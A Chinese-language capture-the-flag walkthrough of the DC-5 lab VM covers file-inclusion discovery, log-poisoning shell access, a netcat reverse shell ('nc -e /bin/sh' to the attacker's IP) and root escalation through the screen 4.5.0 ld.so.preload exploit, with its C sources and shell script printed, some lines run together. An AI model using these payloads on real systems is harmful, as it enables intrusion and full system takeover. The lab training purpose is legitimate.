6.DC5

DC-5

关于环境的搭建 , 大家可以自行百度

网络桥接

渗透机 kali

靶机 dc-5

0x01. 信息收集

老规矩就是那一套 , 然后找到靶机的真实ip , 扫描一下全端口

nmap 192.168.0.149

image-20210620164427832

可以看到只开放了 80 , 11 和 37625端口 , 访问一下80端口

image-20210620164451522

根据DC-5的官方提示 , 有一个会随着刷新页面变化而变化的页面 , 找了一番发现在一个留言处有这个

image-20210620164622781

发现这个年份会变化 , ok , 如果你做过开发 , 你可能知道模板这个东西 , 像这种页面底部 , 一般都是每个页面都有的 , 就可以通过模板导入 , 在php中 , 即文件包含的地方 , 但是问题是我们不知道这个被包含的参数是什么?以及被包含的文件名称

通过目录扫描 , (7kb) , 我们扫到了foot.php , 这个就应该是底部包含的文件名称 , 接着是可控参数的寻找 , 这里只能爆破了 , 但是一般就那几个参数 , 不会很怪异的

filepath
filename
file
type
name   .....

最后爆破出来是file

http://192.168.0.149/thankyou.php?file=/etc/passwd

image-20210620165110888

0x02. 漏洞发现和利用

通过上面发现出来了 , 确实是有文件包含漏洞的 , 包含漏洞的利用方式有很多 , 这里我们通过包含日志文件getsehll

nginx的默认配置文件
/etc/nginx/nginx.conf

image-20210620165702265

通过包含日志的方式getshell

image-20210620170631267

然后菜刀连接 , 反弹shell

kali监听
nc -lvvp 4444

菜刀终端执行  nc -e /bin/sh 192.168.0.110 4444

进入交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'

image-20210620170755264

0x03. 提权

搜索了内核版本 , 最后发现没有exp , 惊不惊喜 , 意不意外 , 然后通过suid提权

find / -perm -u=s -type f  2>/dev/null

image-20210620171044544

我们用 kali 自带的漏洞裤 搜索一下有无screen-4.5.0的提权漏洞

searchsploit screen

image-20210620171726913

一个脚本和一个说明文件

我们先把两个文件都cp到tmp下

cp /usr/share/exploitdb/exploits/linux/local/41152.txt /tmp/41152.txt
cp /usr/share/exploitdb/exploits/linux/local/41154.sh /tmp/41154.sh

image-20210620172134840

大概意思就是会编译两个c文件 , 然后把编译好的文件通过那个sh脚本运行 , 就可以提权了

所以就先在本地编辑c文件 , 打开那个脚本 , 根据提示在tmp文件夹下新建两个新文件 , 内容如下

vim libhax.c
#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){    chown("/tmp/rootshell", 0, 0);    chmod("/tmp/rootshell", 04755);    unlink("/etc/ld.so.preload");    printf("[+] done!\n");}

然后就是编译了 , 并删除源文件

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.crm -f /tmp/libhax.c
vim rootshell.c
#include <stdio.h>int main(void){    setuid(0);    setgid(0);    seteuid(0);    setegid(0);    execvp("/bin/sh", NULL, NULL);}

然后就是编译了 , 并删除源文件

gcc -o /tmp/rootshell /tmp/rootshell.crm -f /tmp/rootshell.c

这里为什么不直接在靶机上运行脚本呢?因为运行失败了,所以本地编译,上传,再运行

修改41154.sh脚本 , 把原来的编译给删除了 , 内容如下

#!/bin/bash# screenroot.sh# setuid screen v4.5.0 local root exploit# abuses ld.so.preload overwriting to get root.# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html# HACK THE PLANET# ~ infodox (25/1/2017) echo "[+] Now we create our /etc/ld.so.preload file..."cd /etcumask 000 # becausescreen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline neededecho "[+] Triggering..."screen -ls # screen itself is setuid, so... /tmp/rootshell

因为直接执行这个脚本会出错 , 所以

用vim打开该sh文件,输入:[plain]:set ff  回车,显示fileformat=dos,重新设置下文件格式:[plain]:set ff=unix  保存退出:[plain]:wq 

接下来就是通过一些方法 ( 可以通过python开启http服务 , wget下载 ) , 把 libhax.so rootshell 41154.sh 上传到靶机的/tmp目录下 , 然后给脚本以执行权限

chmod +x 41154.sh./41154.sh

image-20210620173925854

image-20210620174108306

0x03. 总结

1.通过提示找到文件包含漏洞getshell2.先反弹shell再说3.利用screen漏洞提权
原文地址:https://www.cnblogs.com/xcymn/p/15712499.html